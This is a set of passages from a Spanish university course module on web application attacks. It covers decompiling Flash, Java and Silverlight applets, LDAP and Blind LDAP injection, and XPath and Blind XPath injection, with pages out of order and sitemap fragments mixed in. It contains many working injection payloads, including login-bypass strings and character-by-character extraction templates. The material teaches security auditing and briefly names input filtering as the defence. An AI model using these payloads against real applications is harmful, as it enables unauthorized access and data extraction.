ltlocgthttpwwwacomarchiveltlocgt
ltlastmodgt2004-12-23ltlastmodgt
changefreqgtweeklyltchangefreqgt
CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web
lturlgt
lturlgt ltlocgthttpwwwacomfaqltlocgt
ltlastmodgt2004-12-23T180015+0000ltlastmodgt
ltprioritygt03ltprioritygt
lturlgt
lturlgt ltlocgthttpwwwacomaboutltlocgt
ltlastmodgt2004-11-23ltlastmodgt
lturlgt
lturlsetgt
61 Descompiladores de applets web
611 Flash
Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una
interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas
que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-
sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-
cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo
aunque a veces ocurre
Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente
han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros
proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de
coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos
se pueden observar faacutecilmente usando un sniffer del protocolo HTTP
Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio
en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver
el coacutedigo fuente del fichero Flash
CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web
Figura 49 Captura del fichero mp3 reproducido desde unreproductor web
Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando
lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo
actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-
samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-
donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un
fichero Flash
Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar
coacutemo realizar esto mediante el programa Flasm de descarga gratuita
La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-
lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-
rigir hacia un fichero de texto la salida del programa En este ejemplo vamos
a realizar la accioacuten con un pequentildeo juego Flash
Figura 50 Ejecucioacuten del comando flasmexe
Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra
extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador
(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf
CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web
Figura 51 Volcado del coacutedigo del fichero swf
Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo
funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las
URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten
Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los
fallos de seguridad comentados en capiacutetulos anteriores
612 Java
Al igual que con los ficheros Flash aunque con menos popularidad en la ac-
tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-
cutan dentro de nuestro navegador
Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo
en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene
muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto
tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-
mos en Flash
Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos
muestran el coacutedigo Java original En la captura siguiente el programa usado
es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-
ciones
CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web
Figura 52 Pantalla principal del Java Decompiler
613 NET
Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones
ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar
maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-
dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-
do NET que se carga desde el servidor mediante un plugin en nuestro navega-
dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de
la aplicacioacuten Silverlight
Figura 53 Aplicacioacuten de muestra de Silverlight
CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web
En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple
Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute
programada para que compruebe los datos introducidos con unos datos que
estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y
vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea
vaacutelidos El detalle de coacutedigo Javascript seriacutea
Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo
HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero
contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-
vegador interprete
El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del
programa Estos ficheros son compilados de NET y pueden ser analizados me-
diante programas como NET Reflector Los ficheros contenidos en este fiche-
ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor
pues realmente es un fichero ZIP
Figura 54ndash Fichero xap descomprimido
Una vez descomprimido se nos muestran una serie de archivos Estos archivos
contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero
realmente los datos importantes se encuentran en el fichero Test001dll (en el
ejemplo actual) Este fichero puede ser descompilado mediante el programa
indicado anteriormente y acceder al coacutedigo fuente interno En este caso se
observan dos clases principales App y MainPage
CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web
Figura 55 Detalle del programa descompilado
En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-
do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten
de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el
nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo
Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera
forma de poner un contenido de una manera maacutes vistosa para el usuario Sin
embargo a veces los desarrolladores web lo usan como un lenguaje de progra-
macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro
CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web
Bibliografiacutea
Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox
Clarke J (2009) SQL Injection Attacks and defense E Syngress
Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress
Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media
Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley
CC-BY-NC-ND bull PID_00191662 38 Ataques a aplicaciones web
Figura 26 Listado de documentos de nivel bajo
La consulta que se estaacute ejecutando es
(amp(directory=nombre_directorio)(level=low))
El valor de level lo estaacute cogiendo la aplicacioacuten de las variables de sesioacuten del
servidor sin embargo un atacante podriacutea inyectar en el nombre del directorio
el siguiente comando Documents)(level=High) De esta forma el coman-
do que se ejecutariacutea seriacutea
(amp(directory=Documents)(level=High))(level=low))
Permitiendo al atacante acceder a todos los documentos Se ha producido una
elevacioacuten de privilegios
CC-BY-NC-ND bull PID_00191662 39 Ataques a aplicaciones web
Figura 27 Elevacioacuten de privilegios mediante AND LDAP Injection
22 Blind LDAP Injection
Una de las evoluciones de las inyecciones de comandos son las acciones a
ciegas los ataques ldquoblindrdquo Es comuacuten encontrarse ya documentados los ataques
Blind SQL Injection pero de los ataques Blind LDAP Injection sin embargo no
se ha hablado nada Tambieacuten es posible realizar un ataque a ciegas para extraer
informacioacuten de un aacuterbol LDAP
El entorno para realizar un ataque a ciegas suele ser una aplicacioacuten web que
cumple dos caracteriacutesticas
bull La aplicacioacuten no muestra los resultados obtenidos de la consulta realizada
al aacuterbol LDAP
bull El uso de los resultados produce cambios en la respuesta http que el cliente
recibe
Para realizar un ataque a ciegas necesitamos poder crear la loacutegica para extraer
informacioacuten cambiando los resultados obtenidos con el filtro LDAP y obser-
vando los cambios en las respuestas http
CC-BY-NC-ND bull PID_00191662 40 Ataques a aplicaciones web
221 Blind LDAP Injection en un entorno ldquoANDrdquo
En esta situacioacuten tenemos una consulta generada en el lado del servidor del
siguiente tipo
(amp(atributo1=valor1)(atributo2=valor2))
Para realizar la inyeccioacuten debemos tener en cuenta que en un entorno AND
tenemos un paraacutemetro fijo que nos va a condicionar El entorno ideal es que el
atributo1 sea lo maacutes general posible por ejemplo objectClass o cn con lo
que podremos seleccionar casi cualquier objeto del aacuterbol Despueacutes deberemos
aplicarle un valor que sea true es decir que siempre seleccione objetos para
tenerlo fijado a valor true y utilizar como segundo atributo uno conocido que
tambieacuten nos garantice que sea true
Supongamos la siguiente consulta LDAP
(amp(objectClass=Impresoras)(impresoraTipo=Epson))
Que se lanza para saber si en el almaceacuten de una empresa hay impresoras Epson
de tal manera que el programador si recibe alguacuten objeto simplemente pinta
en la paacutegina web un icono de una impresora Epson
Estaacute claro que lo maacuteximo que conseguiremos tras la inyeccioacuten es ver o no el
icono de la impresora Bien iexclpues a ello Fijemos la respuesta positiva tal y
como hemos dicho realizando una inyeccioacuten del siguiente tipo
(amp(objectClass=)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))
Lo que estaacute puesto en negrita seriacutea la inyeccioacuten que introduciriacutea el atacante
Esta inyeccioacuten debe devolver siempre alguacuten objeto en el ejemplo planteado
en la respuesta http veriacuteamos un icono de la impresora A partir de ahiacute podriacutea-
mos extraer los tipos de objectClass que tenemos en nuestro aacuterbol LDAP
222 Reconocimiento de clases de objetos de un aacuterbol LDAP
Sabiendo que el filtro (objectClass=) siempre devuelve alguacuten objeto deberiacutea-
mos centrarnos en el segundo filtro realizando un recorrido de la siguiente
forma
(amp(objectClass=)(objectClass=users))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=personas))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=usuarios))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=logins))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=))(amp(objectClass=foo)(impresoraTipo=Epson))
CC-BY-NC-ND bull PID_00191662 41 Ataques a aplicaciones web
De tal manera que todas aquellas inyecciones que devolvieran el icono de la
impresora en la paacutegina web seriacutean respuestas afirmativas que nos indicariacutean
la existencia de ese tipo de objetos
Otra forma maacutes eficiente seriacutea realizando un barrido en el espectro del alfa-
beto de posibles valores utilizando una buacutesqueda con comodines para ello
realizariacuteamos un aacuterbol que comenzariacutea por todas las letras del abecedario de
la siguiente forma
(amp(objectClass=)(objectClass=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=z))(amp(objectClass=foo)(impresoraTipo=Epson))
De tal manera que seguiriacuteamos desplegando el aacuterbol de aquellas que hubieran
dado una respuesta positiva
(amp(objectClass=)(objectClass=aa))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=ab))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=az))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=ba))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=bb))(amp(objectClass=foo)(impresoraTipo=Epson))
Y asiacute sucesivamente con lo que desplegando siempre las positivas podriacuteamos
llegar a saber el nombre de todos los objetcClass de un sistema
Figura 28 Aacuterbol de despliegue Se profundizaraacute en todas las respuestas positivas (color verde)
Este mecanismo no solo funciona para objectClass sino que seriacutea vaacutelido
para cualquier atributo que un objeto compartiera con el atributo fijo Una
vez sacados los objectClass podriacuteamos proceder a realizar el mismo reco-
CC-BY-NC-ND bull PID_00191662 42 Ataques a aplicaciones web
rrido para extraer la informacioacuten de ellos por ejemplo si queremos extraer los
nombres de todos los usuarios de un sistema bastariacutea con realizar el barrido
con la siguiente inyeccioacuten
(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))
Este meacutetodo obliga a hacer un recorrido en amplitud por un aacuterbol cuya posi-
bilidad de expandirse en cada nodo siempre es igual al alfabeto completo Se
puede reducir este alfabeto realizando un recorrido para averiguar queacute carac-
teres no estaacuten siendo utilizados en ninguna posicioacuten en ninguacuten objeto utili-
zando un recorrido de la siguiente forma
(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))
De esta forma se pueden excluir del alfabeto aquellos caracteres que no hayan
devuelto un resultado positivo tras este primer recorrido Si deseaacuteramos bus-
car un uacutenico valor podriacuteamos realizar una buacutesqueda binaria de cada uno de
los caracteres utilizando los operadores relacionales lt= o gt= para reducir el
nuacutemero de peticiones
En los atributos que almacenan valores numeacutericos no es posible utilizar el co-
modiacuten para ldquobooleanizarrdquo la informacioacuten almacenada es por tanto necesa-
rio realizar la buacutesqueda de valores utilizando los operadores gt= y lt=
(amp(objectClass=user)(uid=kurt)(edadgt=1)(amp(objectClass=foo)(impresoraTipo=Epson))
223 Blind LDAP Injection en un entorno ldquoORrdquo
En esta situacioacuten tenemos una consulta generada en el lado del servidor del
siguiente tipo
(|(atributo1=valor1)(atributo2=valor2))
En este entorno la loacutegica que debemos utilizar es al contrario En lugar de fijar
el valor del primer filtro a un valor siempre cierto deberemos fijarlo a un valor
siempre falso y a partir de ahiacute extraer la informacioacuten es decir realizariacuteamos
una inyeccioacuten de la siguiente forma
(|(objectClass=void)(objectClass=void))(amp(objectClass=void)(impresoraTipo=Epson))
CC-BY-NC-ND bull PID_00191662 43 Ataques a aplicaciones web
Con esta inyeccioacuten obtendremos el valor negativo de referencia En el ejemplo
planteado de las impresoras disponibles deberemos obtener un resultado sin
el icono de la impresora Luego podremos inferir la informacioacuten cuando sea
verdadero el segundo filtro
(|(objectClass=void)(objectClass=users))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=personas))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=usuarios))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=logins))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))
De igual forma que en el ejemplo con el operador AND podriacuteamos extraer toda
la informacioacuten del aacuterbol LDAP utilizando los comodines
224 Ejemplos Blind LDAP Injection
Para mostrar la potencia de los ataques Blind LDAP Injection se ha creado
dentro de un aacuterbol LDAP sobre ADAM una estructura con objetos Printer En
la siguiente figura se pueden ver los atributos de un objeto de tipo Printer
Figura 29 Aacuterbol LDAP sobre ADAM Objeto tipo Printer
Sobre este aacuterbol LDAP trabaja una aplicacioacuten web que se conecta entre otros
repositorios a este aacuterbol para obtener informacioacuten En este caso tenemos una
aplicacioacuten programada en php llamada printerstatusphp que recibe co-
mo paraacutemetro el nombre de la impresora y construye una consulta LDAP de
la siguiente forma
(amp(cn=HP Laserjet 2100)(objectclass=printer))
El resultado es una paacutegina web en la que se accede a propiedades de la impre-
sora en concreto
CC-BY-NC-ND bull PID_00191662 44 Ataques a aplicaciones web
Figura 30 Propiedades de la impresora HP LaserJet 2100
El paraacutemetro idprinter se utiliza para construir la consulta LDAP y es vul-
nerable a LDAP Injection sin embargo no se muestra ninguno de los datos de
los objetos que se puedan seleccionar con cualquier consulta ejecutada por
lo que uacutenicamente se puede realizar una explotacioacuten a ciegas Las siguientes
capturas muestran ejemplos de coacutemo extraer informacioacuten del aacuterbol LDAP me-
diante Blind LDAP Injection
1)Fase1descubrimientodeatributos
El atacante inyecta atributos para descubrir si existen o no Cuando el atributo
no existe la consulta LDAP no devuelve ninguacuten objeto y la aplicacioacuten no
muestra datos de ninguna impresora
Hay que tener en cuenta que el comodiacuten vale uacutenicamente para los valores de
tipo alfanumeacutericos luego si el atributo fuera de otro tipo no se podriacutea descubrir
asiacute Para los tipos numeacutericos y de tipo fecha se utilizan los operadores gt= lt=
o = y para los booleanos las constantes true y false
Figura 31 Atributo IPaddress no existe o no tiene valor alfanumeacuterico
En el siguiente ejemplo el atributo distinguisedname existe y ademaacutes es de
tipo alfanumeacuterico ya que funciona perfectamente con el comodiacuten ldquordquo Esto
se puede comprobar porque la paacutegina de resultados ha devuelto datos de la
impresora que se estaba utilizando
CC-BY-NC-ND bull PID_00191662 45 Ataques a aplicaciones web
Figura 32 Atributo distinguisedname existe y tiene valor alfanumeacuterico
Como se puede ver hay diferencias entre las paacuteginas que devuelven datos y las
que no con lo que se puede automatizar la extraccioacuten de toda la informacioacuten
y el descubrimiento de los atributos simplemente comparando los resultados
HTML obtenidos
En la figura 33 se obtiene de nuevo un resultado positivo que confirma la
existencia de un atributo department
Figura 33 Atributo Department existe y tiene valor Unicode extraiacuteble
2)Fase2reduccioacutendelalfabeto
Una de las opciones que se pueden sopesar es realizar una reduccioacuten del al-
fabeto posible de valores en un campo La idea consiste en saber si existe o
no un determinado caraacutecter en un atributo Si el atributo tiene 15 caracteres
de longitud y tenemos que probar por ejemplo 28 letras por 15 caracteres
tendriacutean que realizarse un total de 420 peticiones para extraer la informacioacuten
Sin embargo se puede realizar un recorrido que nos diga si una letra pertene-
ce o no al valor De esa manera realizariacuteamos primero 28 peticiones que nos
dejaraacuten en el peor de los casos una letra distinta por cada posicioacuten es decir
15 letras Luego en el peor de los casos tendriacuteamos 15 letras x 15 posiciones
+ 28 peticiones de reduccioacuten del alfabeto es decir 253 peticiones Ademaacutes se
puede inferir que si una letra ya ha sido utilizada puede que no se vuelva a
utilizar con lo que tendriacuteamos una reduccioacuten auacuten mayor si la letra se utiliza
como uacuteltima opcioacuten dejando la probabilidad en un sumatorio de 115 + 28
es decir 148 peticiones
CC-BY-NC-ND bull PID_00191662 46 Ataques a aplicaciones web
Como conclusioacuten se puede obtener que la reduccioacuten del alfabeto es una buena
opcioacuten a la hora de extraer valores de campos
En los siguientes ejemplos vamos a ver coacutemo averiguar si un caraacutecter pertenece
o no al valor del campo
Figura 34 La letra b no pertenece al valor del atributo department porque no se obtienendatos
Figura 35 La letra n siacute que pertenece al valor del atributo department porque siacute que seobtienen datos
Esta reduccioacuten dejariacutea un conjunto de valores vaacutelidos que pueden emplearse
para extraer el valor del dato mediante un proceso de despliegue
3)Fase3despliegue
En esta fase una vez reducido el alfabeto hay que ordenar las letras obtenidas
para ello comenzaremos un proceso desde la primera posicioacuten
Figura 36 El valor de department no comienza por la letra a porque no se obtienen datos
CC-BY-NC-ND bull PID_00191662 47 Ataques a aplicaciones web
Se iraacuten probando letras hasta que se obtenga un resultado positivo que con-
firme que con ese patroacuten se devuelven datos
Figura 37 El valor de department siacute comienza por la letra f porque siacute se obtienen datos
Una vez descubierta la primera letra esta se mantendraacute fija y se procederaacute a
buscar la segunda letra sustituyendo siempre los caracteres obtenidos en la
fase de reduccioacuten del alfabeto
Figura 38 El valor de department no comienza por las letras fa porque no se obtienen datos
Figura 39 El valor de department siacute que comienza por las letras fi porque siacute que se obtienendatos
Este proceso se repetiriacutea con todos los atributos descubiertos y hasta que se
hubieran descubierto todas las letras permitiendo extraer informacioacuten oculta
de los objetos del aacuterbol LDAP
LDAP es una tecnologiacutea en expansioacuten cuya implantacioacuten en los sistemas de di-
rectorio y metadirectorio la hacen cada diacutea maacutes popular Los entornos intranet
realizan uso intensivo de esta tecnologiacutea para ofrecer sistemas de Single Sing-
On e incluso es comuacuten encontrar entornos LDAP en los servicios de Internet
CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web
Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro
de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas
de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo
la documentacioacuten existente son de poca ayuda pues en los entornos maacutes
comunes como ADAM u OpenLDAP no funcionan
La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones
consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-
viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines
para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra
aplicacioacuten
23 XPath
XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-
cumentos XML por medio de expresiones especiacuteficas para su estructura
Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de
la organizacioacuten de nodos que poseen los ficheros XML
Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-
ble implementarlo en aplicaciones web de modo que pueden sustituir a los
SGBD (sistema gestor de base de datos) basados en SQL
231 XPath injection y Blind XPath Injection
XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los
paraacutemetros de buacutesqueda a la hora de formar una query XPath
Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-
tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML
Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL
Injection LDAP Injection) son fallos de seguridad causados por una mala
programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-
queda sin importar que la aplicacioacuten sea de escritorio o web
Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-
poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten
contra un aacuterbol XML con la siguiente estructura
ltxml version=10 encoding=UTF-8gt
ltusuariosgt
ltusuario login=admin password=t1oviv0 nivel=3 gt
ltusuario login=usuario password=miPasswordXml nivel=1 gt
ltusuario login=invitado password=invitado nivel=0 gt
CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web
ltusuariosgt
La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde
para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario
y un password con los que posteriormente formara una query de XPath con
la siguiente estructura
string xpath = usuariosusuario[login= + usuario + and password= + password + ]
En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-
tivo a no ser que el usuario y el password correspondan con los establecidos en
el documento XML pero si se trata de un entorno inseguro donde los campos
de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una
inyeccioacuten
Si un usuario introdujera en el campo password un valor como abclsquo or
lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder
a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado
positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y
posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-
da seriacutea el que nos muestra el siguiente ejemplo
Figura 40 Evaluacioacuten de los paraacutemetros en XPath
Como hemos visto con este tipo de inyecciones es posible hacer modificacio-
nes en la query para obtener el resultado deseado (truefalse) pero es posible ir
mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos
atributos y elementos
Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath
Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores
del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten
vulnerable
Retomando el caso praacutectico anterior supongamos que cuando realizamos login
en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten
devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso
de que la query XPath devuelva un resultado negativo (cuando se realiza una
inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo
password incorrectordquo
CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web
En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a
Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de
un motor XML y no SQL podemos utilizar funciones como count() la
cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener
al menos 1 nodo
bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob
bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1
Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que
estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL
(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal
modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML
bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo
bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo
Si con esta prueba obtenemos un resultado positivo no hay duda de que es un
sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML
iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo
El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea
sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos
que habriacutea que realizar seriacutean los siguientes
1) Extraer el nombre del nodo
2) Extraer los atributos del nodo
3) Comprobar si es un elemento3 En caso positivo obtener el valor
4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-
zando
5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo
Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de
caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length
[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]
Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya
que puede haber varios nodos con el mismo nombre dentro del mismo padre)
y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando
fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-
ble sacar la longitud del nombre de la siguiente manera
(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean
CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web
or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =
or childnode()[position()=1 and string-length(name())=8] or 1=1 and =
Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar
el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-
cioacutenrdquo e imaginacioacuten
or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()us)] and =
or childnode()[position()=1 and starts-with(name()usu)] and =
Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de
caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-
ma que seriacutea la longitud del nombre extraiacuteda inicialmente
Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-
mos pero variando la consulta XPath con las siguientes plantillas
1) Para extraer informacioacuten referente a los nodos
bull Longitud del nombre
[PATH]childnode()[position()=[NUMNODO] and
string-length(name())gt[NUMERO]]
bull Nombre del nodo
[PATH]childnode()[position()=[NUMNODO] and
starts-with(name()[VALORES])]
bull Nuacutemero de subnodos
count([PATH]childnode())gt[NUMERO]
2) Para extraer la informacioacuten de los atributos
bull Nuacutemero de atributos de un nodo
count([PATH]childnode()[[NUMNODO]])gt[NUMERO]
CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web
bull Longitud del nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT] and
string-length(name())gt[NUMERO]])gt0
bull Longitud del valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]
bull Nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and
starts-with(name()[VALORES])
bull Valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
starts-with([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]] [VALORES])
3) Para extraer el contenido de un nodo los elementos
bull Longitud del elemento
string-length([PATH]childtext())gt[NUMERO]
bull Valor del elemento
starts-with([PATH]childtext()[VALORES])
Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero
para ello ya existen herramientas que hacen este proceso de forma automaacuteti-
ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset
para encontrar los datos realizando un reducido nuacutemero de consultas
Implementar una reduccioacuten de charset es algo simple basta con hacer una
query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-
mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-
set Esto puede hacerse con la siguientes query
[contains(name() a)] or [contains(name() a)]
or attribute[contains(a)] or contains( a)
Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset
